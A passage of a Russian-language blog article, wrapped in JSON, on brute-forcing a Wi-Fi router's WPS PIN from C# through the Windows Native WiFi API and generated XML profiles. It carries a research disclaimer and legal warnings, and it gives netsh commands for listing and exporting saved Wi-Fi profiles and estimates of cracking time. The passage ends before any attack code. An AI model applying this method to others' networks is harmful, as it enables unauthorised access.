{"id":335525,"date":"2022-07-10T03:00:03","date_gmt":"2022-07-10T03:00:03","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=335525"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=335525","title":{"rendered":"<span>\u0411\u0440\u0443\u0442\u0444\u043e\u0440\u0441 \u0441\u043e\u0441\u0435\u0434\u0441\u043a\u043e\u0433\u043e Wi-Fi (\u0432 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0446\u0435\u043b\u044f\u0445)<\/span>"},"content":{"rendered":"<div><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/40d\/af3\/e50\/40daf3e5070995dc6e24c546a62efe90.png\" width=\"1050\" height=\"591\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/40d\/af3\/e50\/40daf3e5070995dc6e24c546a62efe90.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u041d\u0430\u0434\u0435\u0436\u043d\u044b\u0435 \u0438 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u043c\u0435\u043d\u044f\u044e\u0449\u0438\u0435\u0441\u044f \u043f\u0430\u0440\u043e\u043b\u0438 &#8212; \u044d\u0442\u043e \u0437\u0434\u043e\u0440\u043e\u0432\u043e. \u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043a\u043e\u0433\u0434\u0430 \u043e\u043d\u0438 \u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u0438 \u043d\u0430 Wi-Fi \u0440\u043e\u0443\u0442\u0435\u0440\u0435 \u0438 WPS \u043d\u0430 \u043d\u0435\u043c \u0432\u043e\u043e\u0431\u0449\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d. \u0412 \u044d\u0442\u043e\u043c \u043f\u043e\u0441\u0442\u0435: \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0431\u043e\u0440 WPS pin \u0438 \u0435\u0441\u0442\u044c \u043b\u0438 \u0443 \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435? \u0410 \u0435\u0449\u0435 \u043d\u0430\u043f\u0438\u0448\u0435\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0434\u043b\u044f \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441\u0430 \u043d\u0430 C#<\/p>\n<blockquote>\n<p>\u0414\u0438\u0441\u043a\u043b\u0435\u0439\u043c\u0435\u0440: \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u043e\u0441\u0438\u0442 \u0441\u0443\u0433\u0443\u0431\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440 \u0434\u043b\u044f \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u0443\u0433\u0440\u043e\u0437\u044b &#171;\u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441&#187; (\u043f\u043e\u0434\u0431\u043e\u0440 \u043f\u0430\u0440\u043e\u043b\u044f) \u0441 \u0446\u0435\u043b\u044c\u044e \u043e\u0446\u0435\u043d\u043a\u0438 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u0442\u0435\u043d\u0434\u0430 \u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0435\u0439 \u043a \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u043f\u0440\u0430\u0432\u043d\u044b\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\u043c. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u043e\u0441\u044c \u043d\u0430 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u043c \u0441\u0442\u0435\u043d\u0434\u0435, \u0441\u043e\u0441\u0442\u043e\u044f\u0449\u0438\u043c \u0438\u0437 \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u043d\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a \u0441\u0435\u0442\u0438 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442. \u041e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0437\u0430 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u043f\u0440\u0430\u0432\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043b\u043e\u0436\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u0430 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0432\u0448\u0435\u0433\u043e \u0430\u0442\u0430\u043a\u0443 \u043d\u0435 \u0432 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0446\u0435\u043b\u044f\u0445 \u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u043e\u0432.<\/p>\n<\/blockquote>\n<h2>\u0418 \u0442\u0430\u043a<\/h2>\n<p>\u0421\u0430\u043c\u044b\u0439 \u0441\u043a\u0443\u0447\u043d\u044b\u0439 \u043d\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0431\u043b\u043e\u043a \u0441\u0442\u0430\u0442\u044c\u0438 \u043f\u043e\u0437\u0430\u0434\u0438, \u043e\u0434\u043d\u0430\u043a\u043e \u0441\u0442\u043e\u0438\u0442 \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u0442\u044c \u0438 \u043f\u0440\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0441\u0442\u0430\u0442\u044c\u0438 \u0423\u041a \u0420\u0424:<\/p>\n<ol>\n<li>\n<p>\u0441\u0442. 272 \u0423\u041a \u0420\u0424. \u041d\u0435\u043f\u0440\u0430\u0432\u043e\u043c\u0435\u0440\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438<\/p>\n<\/li>\n<li>\n<p>\u0441\u0442. 273 \u0423\u041a \u0420\u0424. \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c<\/p>\n<\/li>\n<li>\n<p>\u0441\u0442. 138 \u0423\u041a \u0420\u0424. \u041d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435 \u0442\u0430\u0439\u043d\u044b \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0438, \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u044b\u0445 \u043f\u0435\u0440\u0435\u0433\u043e\u0432\u043e\u0440\u043e\u0432, \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445, \u0442\u0435\u043b\u0435\u0433\u0440\u0430\u0444\u043d\u044b\u0445 \u0438\u043b\u0438 \u0438\u043d\u044b\u0445 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439<\/p>\n<\/li>\n<li>\n<p>\u0441\u0442. 159.6 \u0423\u041a \u0420\u0424. \u041c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0432 \u0441\u0444\u0435\u0440\u0435 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438<\/p>\n<\/li>\n<\/ol>\n<p><strong>\u0412\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u0442\u044c \u0447\u0443\u0436\u0438\u0435 Wi-Fi \u0440\u043e\u0443\u0442\u0435\u0440\u044b &#8212; \u044d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u043f\u043b\u043e\u0445\u0430\u044f \u0438\u0434\u0435\u044f.<\/strong><\/p>\n<p>\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 &#171;proof of concept&#187; \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441 \u0430\u0442\u0430\u043a\u0443 \u043d\u0430 \u0434\u043e\u043c\u0430\u0448\u043d\u0438\u0439 \u0440\u043e\u0443\u0442\u0435\u0440 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c C#. \u0410\u0442\u0430\u043a\u0430 \u0431\u0443\u0434\u0435\u0442 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0430 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/nativewifi\/about-the-native-wifi-api\" rel=\"noopener noreferrer nofollow\">Native WiFi API<\/a> \u0438 xml \u043f\u0440\u043e\u0444\u0438\u043b\u044f\u0445.<\/p>\n<p>\u041f\u0440\u043e\u0444\u0438\u043b\u0438 \u0434\u043b\u044f Wi-Fi, \u043d\u0430 \u043c\u043e\u0439 \u0432\u0437\u0433\u043b\u044f\u0434, \u0437\u0430\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0438 \u0434\u043b\u044f \u043c\u0435\u043d\u044f \u0441\u0442\u0430\u043b\u043e \u0431\u043e\u043b\u044c\u0448\u0438\u043c \u0443\u0434\u0438\u0432\u043b\u0435\u043d\u0438\u0435\u043c, \u0447\u0442\u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0444\u0438\u043b\u044f, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u044f\u043c\u043e \u0441 \u0441\u0430\u0439\u0442\u0430 &#8212; \u043e\u0431 \u044d\u0442\u043e\u043c \u0435\u0441\u0442\u044c \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0430\u044f <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/nativewifi\/prov-wifi-profile-via-website\" rel=\"noopener noreferrer nofollow\">\u0441\u0442\u0430\u0442\u044c\u044f \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438<\/a> \u041c\u0430\u0439\u043a\u0440\u043e\u0441\u043e\u0444\u0442. \u0412 \u043a\u0440\u0430\u0442\u0446\u0435 \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u0430\u043a: xml \u0441 \u0440\u0435\u043a\u0432\u0438\u0437\u0438\u0442\u0430\u043c\u0438 \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u0434\u0442\u044f\u0433\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 (\u0430 \u0435\u0441\u043b\u0438 \u0442\u043e\u0447\u043d\u043e, \u0442\u043e \u0432 UWP \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438) \u0438 \u0432\u043e \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u044e\u0449\u0435\u043c \u043e\u043a\u043d\u0435 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a\u0443\u044e \u0441\u0435\u0442\u044c \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c. \u041a\u0430\u043a \u0441\u043a\u0430\u0437\u0430\u043d\u043e \u0432 \u0441\u0430\u043c\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435, \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e \u0434\u043b\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0442\u0438 \u0437\u0430\u0440\u0430\u043d\u0435\u0435, \u0435\u0449\u0435 \u0434\u043e \u043f\u043e\u0441\u0435\u0449\u0435\u043d\u0438\u044f \u043a\u0430\u0444\u0435\/\u043b\u0430\u0443\u043d\u0434\u0436\u0430\/{you_name_it} \u0433\u0434\u0435 \u0432\u0435\u0449\u0430\u0435\u0442 \u0441\u0435\u0442\u044c. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u044b xml \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u043e\u043f\u0438\u0441\u0430\u043d\u044b <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/nativewifi\/wlan-profileschema-elements\" rel=\"noopener noreferrer nofollow\">\u0442\u0443\u0442<\/a>.<\/p>\n<p>\u0410\u0442\u0430\u043a\u0430 \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 xml \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0432 \u043a\u043e\u0434\u0435 \u0438 \u0435\u0433\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0432 <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/nativewifi\/about-the-native-wifi-api\" rel=\"noopener noreferrer nofollow\">Native WiFi API<\/a> &#8212; \u0434\u0430\u043b\u0435\u0435 Windows \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442 \u043f\u043e\u043f\u044b\u0442\u043a\u0443 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u0438, \u0435\u0441\u043b\u0438 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u0434\u043e\u0431\u0440\u0430\u0442\u044c WPS pin, \u0443\u0434\u0430\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u043e\u0441\u0442\u0430\u043d\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435, \u0430 pin \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0432\u0435\u0434\u0435\u043d \u043d\u0430 \u043a\u043e\u043d\u0441\u043e\u043b\u044c.<\/p>\n<p>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0444\u0438\u043b\u0438 \u043c\u043e\u0436\u043d\u043e \u0434\u0432\u0443\u043c\u044f \u0441\u043f\u043e\u0441\u043e\u0431\u0430\u043c\u0438: \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0438 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0441\u043e\u043b\u044c. \u0414\u043b\u044f \u0440\u0443\u0447\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430 \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u0439\u0442\u0438 \u0432 <a href=\"https:\/\/C:%5CProgramData%5CMicrosoft%5CWlansvc%5CProfiles%5CInterfaces\" rel=\"noopener noreferrer nofollow\">C:\\ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces<\/a> \u0438 \u0432\u044b\u0431\u0440\u0430\u0442\u044c \u0430\u0434\u0430\u043f\u0442\u0435\u0440 \u043f\u043e \u0435\u0433\u043e Id &#8212; \u0443\u0437\u043d\u0430\u0442\u044c \u044d\u0442\u043e\u0442 Id \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0438 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u043c \u0434\u0435\u0431\u0430\u0433\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0438\u043b\u0438 \u043f\u0435\u0440\u0435\u0431\u0440\u0430\u0432 \u0432\u0440\u0443\u0447\u043d\u0443\u044e. \u0414\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0441\u043e\u043b\u044c \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u043f\u0440\u0430\u0432\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u043f\u0430\u0440\u0430 \u043a\u043e\u043c\u0430\u043d\u0434 &#8212; \u044d\u0442\u043e\u0442 \u0441\u043f\u043e\u0441\u043e\u0431 \u0431\u043e\u043b\u0435\u0435 \u0443\u0434\u043e\u0431\u0435\u043d \u0434\u043b\u044f \u0442\u043e\u0447\u0435\u0447\u043d\u043e\u0433\u043e \u0432\u044b\u0442\u0430\u0441\u043a\u0438\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u043a \u043d\u0443\u0436\u043d\u043e\u0439 \u0441\u0435\u0442\u0438:<\/p>\n<pre><code class=\"powershell\">netsh wlan show profile netsh wlan export profile name=\"{Insert profile name}\" folder=C:\\WlanProfiles<\/code><\/pre>\n<p>\u0427\u0442\u043e\u0431\u044b \u043d\u0435 \u043e\u0448\u0438\u0431\u0438\u0442\u044c\u0441\u044f \u0441\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\u043c\u0438 \u0438 \u043f\u043e\u043b\u044f\u043c\u0438 \u0432 xml \u043f\u0440\u043e\u0444\u0438\u043b\u0435, \u043c\u043e\u0436\u043d\u043e \u0441\u043f\u0435\u0440\u0432\u0430 \u043f\u043e\u043f\u044b\u0442\u0430\u0442\u044c\u0441\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u043e\u0439 Wi-Fi \u0441\u0435\u0442\u0438 \u0441 \u0437\u0430\u0432\u0435\u0434\u043e\u043c\u043e \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u043c \u043f\u0430\u0440\u043e\u043b\u0435\u043c &#8212; \u0442\u0430\u043a Windows \u0441\u043e\u0437\u0434\u0430\u0441\u0442 \u0437\u0430 xml \u0444\u0430\u0439\u043b \u0437\u0430 \u0432\u0430\u0441 \u0438 \u0434\u0430\u043b\u0435\u0435 \u043e\u0441\u0442\u0430\u043d\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438.<\/p>\n<p>\u0412 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 xml \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0431\u0443\u0434\u0435\u0442 \u0445\u0440\u0430\u043d\u0438\u0442\u044c\u0441\u044f \u0432 \u0432\u0438\u0434\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 \u043a\u043e\u0434\u0435 \u0438 \u044d\u0442\u043e \u043d\u0435 \u0441\u0430\u043c\u044b\u0439 \u043b\u0443\u0447\u0448\u0438\u0439 \u043f\u043e\u0434\u0445\u043e\u0434 \u043a \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e xml, \u043d\u043e \u0435\u0433\u043e \u0432\u043f\u043e\u043b\u043d\u0435 \u0445\u0432\u0430\u0442\u0438\u0442 \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0438\u0433\u0440\u0430\u0442\u044c\u0441\u044f \u0441 \u043f\u043e\u043f\u044b\u0442\u043a\u0430\u043c\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u0441\u044f \u043a \u0441\u0435\u0442\u0438. \u041d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u041c\u0430\u0439\u043a\u0440\u043e\u0441\u043e\u0444\u0442 \u0435\u0441\u0442\u044c <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-gpwl\/34054c93-cfcd-44df-89d8-5f2ba7532b67\" rel=\"noopener noreferrer nofollow\">xsd \u0441\u0445\u0435\u043c\u0430<\/a> \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u043e\u0437\u0434\u0430\u044e\u0442\u0441\u044f xml \u043f\u0440\u043e\u0444\u0438\u043b\u0438, \u043d\u043e \u043f\u043e\u0447\u0435\u043c\u0443-\u0442\u043e \u0432 \u043d\u0435\u0439 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0441\u0435\u043a\u0446\u0438\u044f &#171;sharedKey&#187;, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0440\u0435\u0448\u0438\u043b \u0445\u0440\u0430\u043d\u0438\u0442\u044c xml \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u0442\u0440\u043e\u043a\u043e\u0439 \u0432 \u043a\u043e\u0434\u0435 \u043a\u0430\u043a \u044d\u0442\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u043e \u043d\u0430 <a href=\"https:\/\/stackoverflow.com\/a\/25809129\/12414632\" rel=\"noopener noreferrer nofollow\">Stackoverflow<\/a>. \u0412 \u0446\u0435\u043b\u043e\u043c \u0434\u043b\u044f \u0431\u043e\u043b\u0435\u0435 &#171;\u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0433\u043e&#187; \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u043b\u0430\u0441\u0441\u044b \u0447\u0435\u0440\u0435\u0437 xsd.exe, \u043d\u043e \u0432 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u0441\u0432\u0435\u0440\u044f\u0442\u044c\u0441\u044f \u0441 xml \u043f\u0440\u043e\u0444\u0438\u043b\u0435\u043c \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u043e\u0439 \u0441\u0435\u0442\u0438 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0432\u0441\u0435\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0438\u0445 \u043f\u043e\u043b\u0435\u0439, \u0442\u0430\u043a \u043a\u0430\u043a \u0432\u043f\u043e\u043b\u043d\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0447\u0442\u043e \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u0430\u044f xsd \u0441\u0445\u0435\u043c\u0430 \u043f\u0440\u043e\u0441\u0442\u043e \u0443\u0441\u0442\u0430\u0440\u0435\u043b\u0430.<\/p>\n<p>\u0421 \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u043e\u0439 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c\u0441\u044f \u043b\u044e\u0431\u043e\u0439 Wi-Fi \u0430\u0434\u0430\u043f\u0442\u0435\u0440, \u043d\u043e \u043f\u043e\u0434\u0431\u043e\u0440 \u043f\u0430\u0440\u043e\u043b\u044f \u0431\u0435\u0437 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0438 \u0438 \u0431\u0435\u0437 \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043d\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u043e\u0432 \u0437\u0430\u0439\u043c\u0435\u0442 \u043c\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438. \u0422\u0430\u043a \u043f\u0435\u0440\u0435\u0431\u043e\u0440 WPS pin \u043e\u0434\u043d\u0438\u043c \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u043e\u043c \u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u043e\u0439 \u0440\u0430\u0437 \u0432 2 \u0441\u0435\u043a\u0443\u043d\u0434\u044b \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043d\u044f\u0442\u044c \u0434\u043e <strong>6.3 \u0433\u043e\u0434\u0430<\/strong> \u0438\u043b\u0438 \u0436\u0435 \u0434\u043e <strong>2315 \u0434\u043d\u0435\u0439<\/strong>. \u0423\u043c\u0435\u0441\u0442\u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u0442\u044c \u0446\u0438\u0442\u0430\u0442\u0443, \u0447\u0442\u043e &#171;9 \u0436\u0435\u043d\u0449\u0438\u043d \u043d\u0435 \u0440\u043e\u0434\u044f\u0442 \u0440\u0435\u0431\u0435\u043d\u043a\u0430 \u0437\u0430 \u043c\u0435\u0441\u044f\u0446&#187;, \u0432\u0435\u0434\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 9 \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u043e\u0432 \u0441\u043e\u043a\u0440\u0430\u0442\u0438\u0442 \u043f\u043e\u0434\u0431\u043e\u0440 \u043f\u0430\u0440\u043e\u043b\u044f \u0434\u043e <strong>257 \u0434\u043d\u0435\u0439<\/strong> &#8212; 